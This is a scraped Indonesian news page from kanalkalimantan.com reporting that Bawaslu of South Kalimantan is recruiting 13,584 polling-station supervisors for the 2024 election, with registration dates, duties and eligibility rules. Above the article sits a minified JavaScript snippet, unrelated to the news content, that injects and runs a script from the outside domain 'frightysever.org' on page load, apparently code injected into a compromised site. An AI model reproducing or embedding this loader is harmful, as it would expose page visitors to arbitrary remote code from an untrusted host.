(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan (Kalsel) membuka kesempatan masyarakat untuk berpartisipasi sebagai pengawas Tempat Pemungutan Suara (TPS) Pemilu 2024.
Tahapan sosialisasi atau pengumuman Pengawas TPS sendiri sudah dimulai, sementara untuk masa pendaftaran dan penerimaan berkas dibuka 2-6 Januari 2024.
Kordinator Divisi SDM, Organisasi dan Diklat Bawaslu Kalsel, Des Rizal RRD menyampaikan pihaknya akan merekrut sebanyak 13.584 petugas Pengawas TPS pada Pemilu 2024.
Pengawas TPS yang terpilih nantinya ditugaskan di setiap TPS yang terdapat di desa atau kelurahan se-Kalsel.
“Total kebutuhan PTPS kalsel 1 orang 1 TPS jadi sama dengan jumlah TPS yang ada di Kalsel sebanyak 13.584 TPS,” katanya kepada kanalkalimantan.com, Rabu (26/12/2023).
Pengawas TPS kata Des Rizal akan bertugas mengawasi pelaksanaan pungut hitung pada hari pemungutan suara pemilihan Capres dan Caleg di TPS yang ditugaskan.
Selain saat pungut hitung di TPS, Petugas TPS lanjut Rizal juga mempunyai tugas untuk mengawasi proses sebelum dan sesudah pemungutan suara.
“Pengawas TPS juga mengawasi seluruh proses baik persiapan pemungutan suara, persiapan dan pelaksanaan penghitungan suara, juga pergerakan hasil penghitungan suara hasil pemilu,” ujar dia.
Adapun persyaratan sebagai Pengawas TPS antara lain berkewarganegaraan Indonesia, pada saat pendafataran berusia paling rendah 21 tahun, setia kepada Pancasila, UUD 1945, NKRI dan cita-cita Proklamasi 1945.
Kemudian mempunyai integritas serta berkepribadian kuat, jujur dan adil. Lalu mempunyai keahlian yang berkaitan dengan penyelenggaraan pemilu, berpendidikan paling rendah sekolah menengah atas SLTA/sederajat, berdomisili di kecamatan setempat yang dibuktikan dengan KTP.
Mampu secara jasmani dan rohani, bebas dari penyalahgunaan narkotika, mengundurkan diri dari keanggotaan partai politik sekurang-kurangnya 5 tahun atau lebih yang dibuktikan dengan surat pernyataan, mengundurkan diri dari jabatan politik, jabatan pemerintahan, jabatan BUMN atau BUMD saat mendaftar.
Syarat berikutnya, yaitu tidak pernah dipidana penjara selama 5 tahun atau lebih yang dibuktikan dengan surat pernyataan, bersedia tidak menduduki jabatan politik, jabatan pemerintah, BUMN atau BUMD selama masa keanggotaan apabila terpilih, dan tidak berada dalam ikatan perkawinan dengan sesama penyelenggara pemilu.
Baca juga: Viral Perkelahian Dua Manusia Silver di Kawasan Lampu Merah Banjarmasin
Untuk informasi lebih lanjut terkait persyaratan seleksi Pengawas TPS dapat didapatkan di Sekretariat Panwaslu Kecamatan setempat. (kanalkalimantan.com/rizki)
Reporter : rizki
Editor : Dhani
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.